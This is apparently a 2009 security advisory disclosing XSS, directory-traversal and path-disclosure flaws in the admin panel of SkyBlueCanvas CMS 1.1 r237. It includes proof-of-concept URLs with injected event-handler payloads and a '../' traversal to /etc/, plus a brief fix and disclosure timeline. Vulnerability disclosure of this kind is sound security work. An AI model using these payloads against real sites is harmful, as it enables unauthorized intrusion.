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[InterN0T] SkyBlueCanvas 1.1 r237 - Multiple Vulnerabilities
From: security () intern0t net
Date: 12 Jun 2009 19:13:57 -0000

SkyBlueCanvas - XSS and Path Content Disclosure Vulnerabilities

Version Affected: 1.1 r237 (newest version: 1.1 r246)

Info: SkyBlueCanvas Lightweight CMS is an open source, free content management system written in php and built 
specifically for small web sites. The entire site you are viewing is a demonstration of the SkyBlueCanvas lightweight 
CMS. SkyBlueCanvas is custom-built for those instances when more robust systems like Joomla, WordPress and Drupal are 
too much horsepower.

Credits: InterN0T

External Links:
http://www.skybluecanvas.com


-:: The Advisory ::-

Vulnerable Function / ID Calls:
mgroup, mgr, objtype, id & dir.

Cross Site Scripting: (requires administrator access - will not survive a login screen)
http://[HOST]/skybluecanvas/admin.php?mgroup="; onmouseover=alert(0) > &mgr=email&objtype=email&sub=viewemail&id=2
http://[HOST]/skybluecanvas/admin.php?mgroup=collections&mgr="; onmouseover=alert(0) > &com=manager

Impossible XSS: (XML errors or hidden tags preventing use of event handlers.)
http://[HOST]/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=XSS
http://[HOST]skybluecanvas/admin.php?mgroup=settings&mgr=configuration&objtype=";>XSS
http://[HOST]/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=page&sub=editpage&id="; onfocus=alert(0) >
http://[HOST]/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir='XSS

Path Content Disclosure: (requires admin privileges)
http://[HOST]/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir=../../../../../../../etc/
-- This was done in a folder where /skybluecanvas was located in: /var/www/somesite.tld/awebdir/skybluecanvas/
--=-- In the above, if One goes to a folder with many subdirectories the above will fail due to a memory allocation 
flaw.

Path Disclosure: (requires admin privileges)
http://[HOST]/skybluecanvas/admin.php?mgroup=pictures&mgr=media&objtype=media&dir=all&sub=move&id='
http://[HOST]/skybluecanvas/admin.php?mgroup=pictures&mgr=media&objtype=media&dir=all&sub=rename&id='


-:: Solution ::-
Filter event handlers out from function calls.

Conclusion:
Pretty secure system overall but if One is a little inventive, then the above issues might be exploitable.

Reference:
http://forum.intern0t.net/intern0t-advisories/1120-intern0t-skybluecanvas-1-1-r237-multiple-vulnerabilities.html

Disclosure Information:
- Vulnerabilities found, researched and confirmed between 5th to 10th June.
- Advisory finished and published on InterN0T the 12th June.
- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.


All of the best,
MaXe


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